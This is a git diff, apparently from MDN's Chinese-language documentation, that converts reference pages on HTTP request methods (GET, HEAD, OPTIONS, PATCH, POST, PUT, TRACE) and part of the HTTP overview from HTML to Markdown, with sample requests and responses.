    +- HTTP status: {{HTTPStatus("200")}}, {{HTTPStatus("202")}}, {{HTTPStatus("204")}} diff --git a/files/zh-cn/web/http/methods/get/index.md b/files/zh-cn/web/http/methods/get/index.md index f7284fe2dd5d51..f417be6b9b11d3 100644 --- a/files/zh-cn/web/http/methods/get/index.md +++ b/files/zh-cn/web/http/methods/get/index.md @@ -7,54 +7,32 @@ tags: - 请求方法 translation_of: Web/HTTP/Methods/GET --- -
    {{HTTPSidebar}}
    - -

    HTTP GET 方法请求指定的资源。使用 GET 的请求应该只用于获取数据。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    请求是否有主体
    成功的响应是否有主体
    {{Glossary("安全")}}
    {{Glossary("幂等")}}
    {{Glossary("可缓存")}}
    HTML 表单是否支持
    - -

    语法

    - -
    GET /index.html
    -
    - -

    规范

    +{{HTTPSidebar}} + +**HTTP` GET` 方法**请求指定的资源。使用 `GET` 的请求应该只用于获取数据。 + +| 请求是否有主体 | 否 | +| -------------------------------- | --- | +| 成功的响应是否有主体 | 是 | +| {{Glossary("安全")}} | 是 | +| {{Glossary("幂等")}} | 是 | +| {{Glossary("可缓存")}} | 是 | +| HTML 表单是否支持 | 是 | + +## 语法 + +```plain +GET /index.html +``` + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    另见

    +## 另见 -
      -
    • {{HTTPHeader("Range")}}
    • -
    +- {{HTTPHeader("Range")}} diff --git a/files/zh-cn/web/http/methods/head/index.md b/files/zh-cn/web/http/methods/head/index.md index f463e48aa5b3e1..66feefafe9ddda 100644 --- a/files/zh-cn/web/http/methods/head/index.md +++ b/files/zh-cn/web/http/methods/head/index.md @@ -7,58 +7,36 @@ tags: - 请求方法 translation_of: Web/HTTP/Methods/HEAD --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP HEAD 方法 请求资源的头部信息,并且这些头部与 HTTP {{HTTPMethod("GET")}} 方法请求时返回的一致。该请求方法的一个使用场景是在下载一个大文件前先获取其大小再决定是否要下载,以此可以节约带宽资源。

    +**HTTP `HEAD` 方法** 请求资源的头部信息,并且这些头部与 HTTP {{HTTPMethod("GET")}} 方法请求时返回的一致。该请求方法的一个使用场景是在下载一个大文件前先获取其大小再决定是否要下载,以此可以节约带宽资源。 -

    HEAD 方法的响应不应包含响应正文。即使包含了正文也必须忽略掉. 虽然描述正文信息的 {{glossary("Entity header", "entity headers")}}, 例如 {{HTTPHeader("Content-Length")}} 可能会包含在响应中,但它们并不是用来描述 HEAD 响应本身的,而是用来描述同样情况下的 {{HTTPMethod("GET")}} 请求应该返回的响应。

    +`HEAD` 方法的响应不应包含响应正文。即使包含了正文也必须忽略掉. 虽然描述正文信息的 {{glossary("Entity header", "entity headers")}}, 例如 {{HTTPHeader("Content-Length")}} 可能会包含在响应中,但它们并不是用来描述 `HEAD` 响应本身的,而是用来描述同样情况下的 {{HTTPMethod("GET")}} 请求应该返回的响应。 -

    如果 HEAD 请求的结果显示在上一次 {{HTTPMethod("GET")}} 请求后缓存的资源已经过期了,即使没有发出{{HTTPMethod("GET")}}请求,缓存也会失效

    +如果 `HEAD` 请求的结果显示在上一次 {{HTTPMethod("GET")}} 请求后缓存的资源已经过期了,即使没有发出{{HTTPMethod("GET")}}请求,缓存也会失效 - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    请求是否有正文
    成功的响应是否有正文
    {{Glossary("安全")}}
    {{Glossary("幂等")}}
    {{Glossary("可缓存")}}
    HTML 表单 是否支持
    +| 请求是否有正文 | 否 | +| ------------------------------------------------------ | --- | +| 成功的响应是否有正文 | 否 | +| {{Glossary("安全")}} | 是 | +| {{Glossary("幂等")}} | 是 | +| {{Glossary("可缓存")}} | 是 | +| [HTML 表单](/zh-CN/docs/Web/Guide/HTML/Forms) 是否支持 | 否 | -

    语法

    +## 语法 -
    HEAD /index.html
    -
    +```plain +HEAD /index.html +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    ?另见

    +## ?另见 -
      -
    • {{HTTPMethod("GET")}}
    • -
    +- {{HTTPMethod("GET")}} diff --git a/files/zh-cn/web/http/methods/index.md b/files/zh-cn/web/http/methods/index.md index 30ebb23800a581..9278bb488c97b9 100644 --- a/files/zh-cn/web/http/methods/index.md +++ b/files/zh-cn/web/http/methods/index.md @@ -2,41 +2,37 @@ title: HTTP 请求方法 slug: Web/HTTP/Methods --- -

    {{HTTPSidebar}}

    - -

    HTTP 定义了一组请求方法,以表明要对给定资源执行的操作。指示针对给定资源要执行的期望动作。虽然他们也可以是名词,但这些请求方法有时被称为 HTTP 动词。每一个请求方法都实现了不同的语义,但一些共同的特征由一组共享:例如一个请求方法可以是 {{glossary("safe")}}, {{glossary("idempotent")}}, 或 {{glossary("cacheable")}}。

    - -
    -
    GET
    -
    GET 方法请求一个指定资源的表示形式,使用 GET 的请求应该只被用于获取数据。
    -
    HEAD
    -
    HEAD 方法请求一个与 GET 请求的响应相同的响应,但没有响应体。
    -
    POST
    -
    POST 方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用。
    -
    PUT
    -
    PUT 方法用请求有效载荷替换目标资源的所有当前表示。
    -
    DELETE
    -
    DELETE 方法删除指定的资源。
    -
    CONNECT
    -
    CONNECT 方法建立一个到由目标资源标识的服务器的隧道。
    -
    OPTIONS
    -
    OPTIONS 方法用于描述目标资源的通信选项。
    -
    TRACE
    -
    TRACE 方法沿着到目标资源的路径执行一个消息环回测试。
    -
    PATCH
    -
    PATCH 方法用于对资源应用部分修改。
    -
    - -

    规范

    +{{HTTPSidebar}} + +HTTP 定义了一组**请求方法**,以表明要对给定资源执行的操作。指示针对给定资源要执行的期望动作。虽然他们也可以是名词,但这些请求方法有时被称为 HTTP 动词。每一个请求方法都实现了不同的语义,但一些共同的特征由一组共享:例如一个请求方法可以是 {{glossary("safe")}}, {{glossary("idempotent")}}, 或 {{glossary("cacheable")}}。 + +- [`GET`](/zh-CN/docs/Web/HTTP/Methods/GET) + - : GET 方法请求一个指定资源的表示形式,使用 GET 的请求应该只被用于获取数据。 +- [`HEAD`](/zh-CN/docs/Web/HTTP/Methods/HEAD) + - : HEAD 方法请求一个与 GET 请求的响应相同的响应,但没有响应体。 +- [`POST`](/zh-CN/docs/Web/HTTP/Methods/POST) + - : POST 方法用于将实体提交到指定的资源,通常导致在服务器上的状态变化或副作用。 +- [`PUT`](/zh-CN/docs/Web/HTTP/Methods/PUT) + - : PUT 方法用请求有效载荷替换目标资源的所有当前表示。 +- [`DELETE`](/zh-CN/docs/Web/HTTP/Methods/DELETE) + - : DELETE 方法删除指定的资源。 +- [`CONNECT`](/zh-CN/docs/Web/HTTP/Methods/CONNECT) + - : CONNECT 方法建立一个到由目标资源标识的服务器的隧道。 +- [`OPTIONS`](/zh-CN/docs/Web/HTTP/Methods/OPTIONS) + - : OPTIONS 方法用于描述目标资源的通信选项。 +- [`TRACE`](/zh-CN/docs/Web/HTTP/Methods/TRACE) + - : TRACE 方法沿着到目标资源的路径执行一个消息环回测试。 +- [`PATCH`](/zh-CN/docs/Web/HTTP/Methods/PATCH) + - : PATCH 方法用于对资源应用部分修改。 + +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    另见

    +## 另见 - +- [HTTP headers](/zh-CN/docs/Web/HTTP/Headers) diff --git a/files/zh-cn/web/http/methods/options/index.md b/files/zh-cn/web/http/methods/options/index.md index bf5c4e2117f89b..e174b2e702ff1b 100644 --- a/files/zh-cn/web/http/methods/options/index.md +++ b/files/zh-cn/web/http/methods/options/index.md @@ -3,56 +3,39 @@ title: OPTIONS slug: Web/HTTP/Methods/OPTIONS translation_of: Web/HTTP/Methods/OPTIONS --- -
    {{HTTPSidebar}}
    - -

    HTTP 的 OPTIONS 方法 用于获取目的资源所支持的通信选项。客户端可以对特定的 URL 使用 OPTIONS 方法,也可以对整站(通过将 URL 设置为“*”)使用该方法。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Request has bodyNo
    Successful response has bodyYes
    {{Glossary("Safe")}}Yes
    {{Glossary("Idempotent")}}Yes
    {{Glossary("Cacheable")}}No
    Allowed in HTML formsNo
    - -

    语法

    - -
    OPTIONS /index.html HTTP/1.1
    +{{HTTPSidebar}}
    +
    +**HTTP 的 `OPTIONS 方法`** 用于获取目的资源所支持的通信选项。客户端可以对特定的 URL 使用 OPTIONS 方法,也可以对整站(通过将 URL 设置为“\*”)使用该方法。
    +
    +| Request has body                     | No  |
    +| ------------------------------------ | --- |
    +| Successful response has body         | Yes |
    +| {{Glossary("Safe")}}         | Yes |
    +| {{Glossary("Idempotent")}} | Yes |
    +| {{Glossary("Cacheable")}}     | No  |
    +| Allowed in HTML forms                | No  |
    +
    +## 语法
    +
    +```plain
    +OPTIONS /index.html HTTP/1.1
     OPTIONS * HTTP/1.1
    -
    +``` -

    示例

    +## 示例 -

    检测服务器所支持的请求方法

    +### 检测服务器所支持的请求方法 -

    可以使用 OPTIONS 方法对服务器发起请求,以检测服务器支持哪些 HTTP 方法:

    +可以使用 OPTIONS 方法对服务器发起请求,以检测服务器支持哪些 HTTP 方法: -
    curl -X OPTIONS http://example.org -i
    +```plain +curl -X OPTIONS http://example.org -i +``` -

    响应报文包含一个 {{HTTPHeader("Allow")}} 首部字段,该字段的值表明了服务器支持的所有 HTTP 方法:

    +响应报文包含一个 {{HTTPHeader("Allow")}} 首部字段,该字段的值表明了服务器支持的所有 HTTP 方法: -
    HTTP/1.1 200 OK
    +```plain
    +HTTP/1.1 200 OK
     Allow: OPTIONS, GET, HEAD, POST
     Cache-Control: max-age=604800
     Date: Thu, 13 Oct 2016 11:45:00 GMT
    @@ -60,13 +43,14 @@ Expires: Thu, 20 Oct 2016 11:45:00 GMT
     Server: EOS (lax004/2813)
     x-ec-custom-error: 1
     Content-Length: 0
    -
    +``` -

    CORS 中的预检请求

    +### CORS 中的预检请求 -

    CORS 中,可以使用 OPTIONS 方法发起一个预检请求,以检测实际请求是否可以被服务器所接受。预检请求报文中的 {{HTTPHeader("Access-Control-Request-Method")}} 首部字段告知服务器实际请求所使用的 HTTP 方法;{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段告知服务器实际请求所携带的自定义首部字段。服务器基于从预检请求获得的信息来判断,是否接受接下来的实际请求。

    +在 [CORS](/zh-CN/docs/Web/HTTP/Access_control_CORS) 中,可以使用 OPTIONS 方法发起一个预检请求,以检测实际请求是否可以被服务器所接受。预检请求报文中的 {{HTTPHeader("Access-Control-Request-Method")}} 首部字段告知服务器实际请求所使用的 HTTP 方法;{{HTTPHeader("Access-Control-Request-Headers")}} 首部字段告知服务器实际请求所携带的自定义首部字段。服务器基于从预检请求获得的信息来判断,是否接受接下来的实际请求。 -
    OPTIONS /resources/post-here/ HTTP/1.1
    +```plain
    +OPTIONS /resources/post-here/ HTTP/1.1
     Host: bar.other
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
     Accept-Language: en-us,en;q=0.5
    @@ -75,11 +59,13 @@ Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
     Connection: keep-alive
     Origin: http://foo.example
     Access-Control-Request-Method: POST
    -Access-Control-Request-Headers: X-PINGOTHER, Content-Type
    +Access-Control-Request-Headers: X-PINGOTHER, Content-Type +``` -

    服务器所返回的 {{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段将所有允许的请求方法告知客户端。该首部字段与 {{HTTPHeader("Allow")}} 类似,但只能用于涉及到 CORS 的场景中。

    +服务器所返回的 {{HTTPHeader("Access-Control-Allow-Methods")}} 首部字段将所有允许的请求方法告知客户端。该首部字段与 {{HTTPHeader("Allow")}} 类似,但只能用于涉及到 CORS 的场景中。 -
    HTTP/1.1 200 OK
    +```plain
    +HTTP/1.1 200 OK
     Date: Mon, 01 Dec 2008 01:15:39 GMT
     Server: Apache/2.0.61 (Unix)
     Access-Control-Allow-Origin: http://foo.example
    @@ -91,19 +77,18 @@ Content-Encoding: gzip
     Content-Length: 0
     Keep-Alive: timeout=2, max=100
     Connection: Keep-Alive
    -Content-Type: text/plain
    +Content-Type: text/plain +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("Allow")}} header
    • -
    • CORS
    • -
    +- {{HTTPHeader("Allow")}} header +- [CORS](/zh-CN/docs/Web/HTTP/Access_control_CORS) diff --git a/files/zh-cn/web/http/methods/patch/index.md b/files/zh-cn/web/http/methods/patch/index.md index 60e70657507b15..d0b02ef6a7dd6b 100644 --- a/files/zh-cn/web/http/methods/patch/index.md +++ b/files/zh-cn/web/http/methods/patch/index.md @@ -9,78 +9,60 @@ tags: - 请求方法 translation_of: Web/HTTP/Methods/PATCH --- -
    {{HTTPSidebar}}
    - -

    在 HTTP 协议中,请求方法 PATCH 用于对资源进行部分修改。

    - -

    在 HTTP 协议中, {{HTTPMethod("PUT")}} 方法已经被用来表示对资源进行整体覆盖, 而 {{HTTPMethod("POST")}} 方法则没有对标准的补丁格式的提供支持。不同于 PUT 方法,而与 POST 方法类似,PATCH 方法是非幂等的,这就意味着连续多个的相同请求会产生不同的效果。

    - -

    要判断一台服务器是否支持 PATCH 方法,那么就看它是否将其添加到了响应首部 {{HTTPHeader("Allow")}} 或者 {{HTTPHeader("Access-Control-Allow-Methods")}}(在跨域访问的场合,CORS)的方法列表中 。

    - -

    另外一个支持 PATCH 方法的隐含迹象是 {{HTTPHeader("Accept-Patch")}} 首部的出现,这个首部明确了服务器端可以接受的补丁文件的格式。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Request has bodyYes
    Successful response has bodyNo
    {{Glossary("Safe")}}No
    {{Glossary("Idempotent")}}No
    {{Glossary("Cacheable")}}No
    Allowed in HTML formsNo
    - -

    语法

    - -
    PATCH /file.txt HTTP/1.1
    -
    - -

    示例

    - -

    请求

    - -
    PATCH /file.txt HTTP/1.1
    +{{HTTPSidebar}}
    +
    +在 HTTP 协议中,请求方法 **PATCH** 用于对资源进行部分修改。
    +
    +在 HTTP 协议中, {{HTTPMethod("PUT")}} 方法已经被用来表示对资源进行整体覆盖, 而 {{HTTPMethod("POST")}} 方法则没有对标准的补丁格式的提供支持。不同于 `PUT `方法,而与 `POST `方法类似,`PATCH` 方法是非幂等的,这就意味着连续多个的相同请求会产生不同的效果。
    +
    +要判断一台服务器是否支持 `PATCH `方法,那么就看它是否将其添加到了响应首部 {{HTTPHeader("Allow")}} 或者 {{HTTPHeader("Access-Control-Allow-Methods")}}(在跨域访问的场合,CORS)的方法列表中 。
    +
    +另外一个支持 PATCH 方法的隐含迹象是 {{HTTPHeader("Accept-Patch")}} 首部的出现,这个首部明确了服务器端可以接受的补丁文件的格式。
    +
    +| Request has body                                          | Yes |
    +| --------------------------------------------------------- | --- |
    +| Successful response has body                              | No  |
    +| {{Glossary("Safe")}}                              | No  |
    +| {{Glossary("Idempotent")}}                      | No  |
    +| {{Glossary("Cacheable")}}                          | No  |
    +| Allowed in [HTML forms](/zh-CN/docs/Web/Guide/HTML/Forms) | No  |
    +
    +## 语法
    +
    +```plain
    +PATCH /file.txt HTTP/1.1
    +```
    +
    +## 示例
    +
    +### 请求
    +
    +```plain
    +PATCH /file.txt HTTP/1.1
     Host: www.example.com
     Content-Type: application/example
     If-Match: "e0023aa4e"
     Content-Length: 100
     
    -[description of changes]
    +[description of changes] +``` -

    响应

    +### 响应 -

    {{HTTPStatus("204")}} 状态码表示这是一个操作成功的响应,因为响应中不带有消息主体。

    +{{HTTPStatus("204")}} 状态码表示这是一个操作成功的响应,因为响应中不带有消息主体。 -
    HTTP/1.1 204 No Content
    +```plain
    +HTTP/1.1 204 No Content
     Content-Location: /file.txt
    -ETag: "e0023aa4f"
    +ETag: "e0023aa4f" +``` -

    规范

    +## 规范 {{Specifications}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPStatus("204")}}
    • -
    • {{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}
    • -
    • {{HTTPHeader("Accept-Patch")}} – 用于明确服务器端可以接受的补丁文件的格式。
    • -
    +- {{HTTPStatus("204")}} +- {{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}} +- {{HTTPHeader("Accept-Patch")}} – 用于明确服务器端可以接受的补丁文件的格式。 diff --git a/files/zh-cn/web/http/methods/post/index.md b/files/zh-cn/web/http/methods/post/index.md index be2a4a32b0de50..7a4b1acd4750da 100644 --- a/files/zh-cn/web/http/methods/post/index.md +++ b/files/zh-cn/web/http/methods/post/index.md @@ -7,78 +7,57 @@ tags: - 请求方法 translation_of: Web/HTTP/Methods/POST --- -
    {{HTTPSidebar}}
    - -

    HTTP POST 方法 发送数据给服务器。请求主体的类型由 {{HTTPHeader("Content-Type")}} 首部指定。

    - -

    PUT 和{{HTTPMethod("POST")}}方法的区别是,PUT 方法是幂等的:连续调用一次或者多次的效果相同(无副作用)。连续调用同一个 POST 可能会带来额外的影响,比如多次提交订单。

    - -

    一个 POST 请求通常是通过 HTML 表单发送,并返回服务器的修改结果。在这种情况下,content type 是通过在 {{HTMLElement("form")}} 元素中设置正确的 {{htmlattrxref("enctype", "form")}} 属性,或是在 {{HTMLElement("input") }} 和 {{HTMLElement("button")}} 元素中设置 {{htmlattrxref("formenctype", "input")}} 属性来选择的:

    - -
      -
    • application/x-www-form-urlencoded: 数据被编码成以 '&' 分隔的键 - 值对,同时以 '=' 分隔键和值。非字母或数字的字符会被 {{glossary("percent-encoding")}}: 这也就是为什么这种类型不支持二进制数据 (应使用 multipart/form-data 代替).
    • -
    • multipart/form-data
    • -
    • text/plain
    • -
    - -

    当 POST 请求是通过除 HTML 表单之外的方式发送时,例如使用 {{domxref("XMLHttpRequest")}}, 那么请求主体可以是任何类型。按 HTTP 1.1 规范中描述,POST 为了以统一的方法来涵盖以下功能:

    - -
      -
    • 注释已有的资源
    • -
    • 在公告板,新闻组,邮件列表或类似的文章组中发布消息;
    • -
    • 通过注册新增用户;
    • -
    • 向数据处理程序提供一批数据,例如提交一个表单;
    • -
    • 通过追加操作,扩展数据库数据。
    • -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    请求是否有主体
    成功的响应是否有主体
    {{Glossary("安全")}}
    {{Glossary("幂等")}}
    {{Glossary("可缓存")}}Only if freshness information is included
    HTML 表单是否支持
    - -

    语法

    - -
    POST /index.html
    -
    - -

    示例

    - -

    使用默认的 application/x-www-form-urlencoded 做为 content type 的简单表单:

    - -
    POST / HTTP/1.1
    +{{HTTPSidebar}}
    +
    +**HTTP `POST` 方法** 发送数据给服务器。请求主体的类型由 {{HTTPHeader("Content-Type")}} 首部指定。
    +
    +PUT 和{{HTTPMethod("POST")}}方法的区别是,PUT 方法是幂等的:连续调用一次或者多次的效果相同(无副作用)。连续调用同一个 POST 可能会带来额外的影响,比如多次提交订单。
    +
    +一个 `POST` 请求通常是通过 [HTML 表单](/zh-CN/docs/Web/Guide/HTML/Forms)发送,并返回服务器的修改结果。在这种情况下,content type 是通过在 _{{HTMLElement("form")}} 元素中设置正确的 {{htmlattrxref("enctype", "form")}} 属性,或是在 {{HTMLElement("input") }} 和 {{HTMLElement("button")}} 元素中设置 {{htmlattrxref("formenctype", "input")}} 属性来选择的_:
    +
    +- `application/`_`x-www-form-urlencoded`: 数据被编码成以 `'&'` 分隔的键 - 值对,同时以 `'='` 分隔键和值。非字母或数字的字符会被 _{{glossary("percent-encoding")}}_: 这也就是为什么这种类型不支持二进制数据 (应使用 `multipart/form-data` 代替)._
    +- _`multipart/form-data`_
    +- _`text/plain`_
    +
    +当 POST 请求是通过除 HTML 表单之外的方式发送时,例如使用 {{domxref("XMLHttpRequest")}}, 那么请求主体可以是任何类型。按 HTTP 1.1 规范中描述,POST 为了以统一的方法来涵盖以下功能:
    +
    +- 注释已有的资源
    +- 在公告板,新闻组,邮件列表或类似的文章组中发布消息;
    +- 通过注册新增用户;
    +- 向数据处理程序提供一批数据,例如提交一个表单;
    +- 通过追加操作,扩展数据库数据。
    +
    +| 请求是否有主体                   | 是                                        |
    +| -------------------------------- | ----------------------------------------- |
    +| 成功的响应是否有主体             | 是                                        |
    +| {{Glossary("安全")}}     | 否                                        |
    +| {{Glossary("幂等")}}     | 否                                        |
    +| {{Glossary("可缓存")}} | Only if freshness information is included |
    +| HTML 表单是否支持                | 是                                        |
    +
    +## 语法
    +
    +```plain
    +POST /index.html
    +```
    +
    +## 示例
    +
    +使用默认的 `application/x-www-form-urlencoded` 做为 content type 的简单表单:
    +
    +```plain
    +POST / HTTP/1.1
     Host: foo.com
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 13
     
    -say=Hi&to=Mom
    +say=Hi&to=Mom +``` -

    使用 multipart/form-data 作为 content type 的表单:

    +使用 `multipart/form-data` 作为 content type 的表单: -
    POST /test.html HTTP/1.1
    +```plain
    +POST /test.html HTTP/1.1
     Host: example.org
     Content-Type: multipart/form-data;boundary="boundary"
     
    @@ -89,19 +68,18 @@ value1
     --boundary
     Content-Disposition: form-data; name="field2"; filename="example.txt"
     
    -value2
    +value2 +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    另见

    +## 另见 -
      -
    • {{HTTPHeader("Content-Type")}}
    • -
    • {{HTTPHeader("Content-Disposition")}}
    • -
    +- {{HTTPHeader("Content-Type")}} +- {{HTTPHeader("Content-Disposition")}} diff --git a/files/zh-cn/web/http/methods/put/index.md b/files/zh-cn/web/http/methods/put/index.md index 10a68df3aa36ea..27e8c0eee9e490 100644 --- a/files/zh-cn/web/http/methods/put/index.md +++ b/files/zh-cn/web/http/methods/put/index.md @@ -8,81 +8,64 @@ tags: - put translation_of: Web/HTTP/Methods/PUT --- -
    {{HTTPSidebar}}
    - -

    HTTP PUT 请求方法使用请求中的负载创建或者替换目标资源。

    - -

    PUT 与 {{HTTPMethod("POST")}} 方法的区别在于,PUT 方法是幂等的:调用一次与连续调用多次是等价的(即没有副作用),而连续调用多次 POST 方法可能会有副作用,比如将一个订单重复提交多次。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    Request has bodyYes
    Successful response has bodyNo
    {{Glossary("Safe")}}No
    {{Glossary("Idempotent")}}Yes
    {{Glossary("Cacheable")}}No
    Allowed in HTML formsNo
    - -

    语法

    - -
    PUT /new.html HTTP/1.1
    -
    - -

    示例

    - -

    请求

    - -
    PUT /new.html HTTP/1.1
    +{{HTTPSidebar}}
    +
    +**HTTP PUT 请求方法**使用请求中的负载创建或者替换目标资源。
    +
    +`PUT` 与 {{HTTPMethod("POST")}} 方法的区别在于,PUT 方法是幂等的:调用一次与连续调用多次是等价的(即没有副作用),而连续调用多次 POST 方法可能会有副作用,比如将一个订单重复提交多次。
    +
    +| Request has body                                          | Yes |
    +| --------------------------------------------------------- | --- |
    +| Successful response has body                              | No  |
    +| {{Glossary("Safe")}}                              | No  |
    +| {{Glossary("Idempotent")}}                      | Yes |
    +| {{Glossary("Cacheable")}}                          | No  |
    +| Allowed in [HTML forms](/zh-CN/docs/Web/Guide/HTML/Forms) | No  |
    +
    +## 语法
    +
    +```plain
    +PUT /new.html HTTP/1.1
    +```
    +
    +## 示例
    +
    +### 请求
    +
    +```plain
    +PUT /new.html HTTP/1.1
     Host: example.com
     Content-type: text/html
     Content-length: 16
     
    -<p>New File</p>
    +

    New File

    +``` -

    应答

    +### 应答 -

    如果目标资源不存在,并且 PUT 方法成功创建了一份,那么源头服务器必须返回{{HTTPStatus("201")}} (Created) 来通知客户端资源已创建。

    +如果目标资源不存在,并且 PUT 方法成功创建了一份,那么源头服务器必须返回{{HTTPStatus("201")}} (`Created`) 来通知客户端资源已创建。 -
    HTTP/1.1 201 Created
    -Content-Location: /new.html
    +```plain +HTTP/1.1 201 Created +Content-Location: /new.html +``` -

    如果目标资源已经存在,并且依照请求中封装的表现形式成功进行了更新,那么,源头服务器必须返回{{HTTPStatus("200")}} (OK) 或者{{HTTPStatus("204")}} (No Content) 来表示请求的成功完成。

    +如果目标资源已经存在,并且依照请求中封装的表现形式成功进行了更新,那么,源头服务器必须返回{{HTTPStatus("200")}} (`OK`) 或者{{HTTPStatus("204")}} (`No Content`) 来表示请求的成功完成。 -
    HTTP/1.1 204 No Content
    +```plain
    +HTTP/1.1 204 No Content
     Content-Location: /existing.html
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPStatus("201")}}
    • -
    • {{HTTPStatus("204")}}
    • -
    +- {{HTTPStatus("201")}} +- {{HTTPStatus("204")}} diff --git a/files/zh-cn/web/http/methods/trace/index.md b/files/zh-cn/web/http/methods/trace/index.md index 01baea81f8c374..fa74a9fa793be6 100644 --- a/files/zh-cn/web/http/methods/trace/index.md +++ b/files/zh-cn/web/http/methods/trace/index.md @@ -3,60 +3,36 @@ title: TRACE slug: Web/HTTP/Methods/TRACE translation_of: Web/HTTP/Methods/TRACE --- -
    {{HTTPSidebar}}
    - -

    HTTP TRACE 方法 实现沿通向目标资源的路径的消息环回(loop-back)测试 ,提供了一种实用的 debug 机制。

    - -

    请求的最终接收者应当原样反射(reflect)它接收到的消息,除了以下字段部分,作为一个{{httpheader("Content-Type")}} 为 message/http 的 200(OK)响应的消息的主体(body)返回给客户端 。

    - -

    最终接收者是指初始(origin)服务器,或者第一个接收到 {{httpheader("Max-Forwards")}} 值为 0 的请求的服务器。

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    有主体(body)的请求(request)
    包含主体(body)的成功的响应(response)
    {{Glossary("Safe")}}
    {{Glossary("Idempotent")}}
    {{Glossary("Cacheable")}}
    允许用于 HTML 表单(form)
    - -

    语法

    - -
    TRACE /index.html
    -
    - -

    规范

    +{{HTTPSidebar}} -{{Specifications}} +**HTTP `TRACE` 方法** 实现沿通向目标资源的路径的消息环回(loop-back)测试 ,提供了一种实用的 debug 机制。 + +请求的最终接收者应当原样反射(reflect)它接收到的消息,除了以下字段部分,作为一个{{httpheader("Content-Type")}} 为 `message/http` 的 200(OK)响应的消息的主体(body)返回给客户端 。 + +最终接收者是指初始(origin)服务器,或者第一个接收到 {{httpheader("Max-Forwards")}} 值为 0 的请求的服务器。 + +| 有主体(body)的请求(request) | 否 | +| ---------------------------------------- | --- | +| 包含主体(body)的成功的响应(response) | 否 | +| {{Glossary("Safe")}} | 否 | +| {{Glossary("Idempotent")}} | 是 | +| {{Glossary("Cacheable")}} | 否 | +| 允许用于 HTML 表单(form) | 否 | -

    浏览器兼容性

    +## 语法 + +```plain +TRACE /index.html +``` + +## 规范 + +{{Specifications}} -

    {{Compat}}

    +## 浏览器兼容性 -

    参考

    +{{Compat}} - +## 参考 -

    +- [HTTP methods](/zh-CN/docs/Web/HTTP/Methods) diff --git a/files/zh-cn/web/http/overview/index.md b/files/zh-cn/web/http/overview/index.md index fdc6c8046a04ed..117fc51abb09a4 100644 --- a/files/zh-cn/web/http/overview/index.md +++ b/files/zh-cn/web/http/overview/index.md @@ -8,174 +8,169 @@ tags: - 概览 translation_of: Web/HTTP/Overview --- -

    {{HTTPSidebar}}

    +{{HTTPSidebar}} -

    HTTP 是一种能够获取如 HTML 这样的网络资源的 {{glossary("protocol")}}(通讯协议)。它是在 Web 上进行数据交换的基础,是一种 client-server 协议,也就是说,请求通常是由像浏览器这样的接受方发起的。一个完整的 Web 文档通常是由不同的子文档拼接而成的,像是文本、布局描述、图片、视频、脚本等等。

    +**HTTP 是一种能够获取如 HTML 这样的网络资源的** {{glossary("protocol")}}(通讯协议)。**它是在 Web 上进行数据交换的基础,是一种 client-server 协议,也就是说,请求通常是由像浏览器这样的接受方发起的。一个完整的 Web 文档通常是由不同的子文档拼接而成的,像是文本、布局描述、图片、视频、脚本等等。** -

    A Web document is the composition of different resources

    +![A Web document is the composition of different resources](fetching_a_page.png) -

    客户端和服务端通过交换各自的消息(与数据流正好相反)进行交互。由像浏览器这样的客户端发出的消息叫做 requests,被服务端响应的消息叫做 responses。

    +客户端和服务端通过交换各自的消息(与数据流正好相反)进行交互。由像浏览器这样的客户端发出的消息叫做 _requests_,被服务端响应的消息叫做 _responses。_ -

    HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.HTTP 被设计于 20 世纪 90 年代初期,是一种可扩展的协议。它是应用层的协议,通过{{glossary("TCP")}},或者是{{glossary("TLS")}}-加密的 TCP 连接来发送,理论上任何可靠的传输协议都可以使用。因为其良好的扩展性,时至今日,它不仅被用来传输超文本文档,还用来传输图片、视频或者向服务器发送如 HTML 表单这样的信息。HTTP 还可以根据网页需求,仅获取部分 Web 文档内容更新网页。

    +![HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.](https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png)HTTP 被设计于 20 世纪 90 年代初期,是一种可扩展的协议。它是应用层的协议,通过{{glossary("TCP")}},或者是{{glossary("TLS")}}-加密的 TCP 连接来发送,理论上任何可靠的传输协议都可以使用。因为其良好的扩展性,时至今日,它不仅被用来传输超文本文档,还用来传输图片、视频或者向服务器发送如 HTML 表单这样的信息。HTTP 还可以根据网页需求,仅获取部分 Web 文档内容更新网页。 -

    基于 HTTP 的组件系统

    +## 基于 HTTP 的组件系统 -

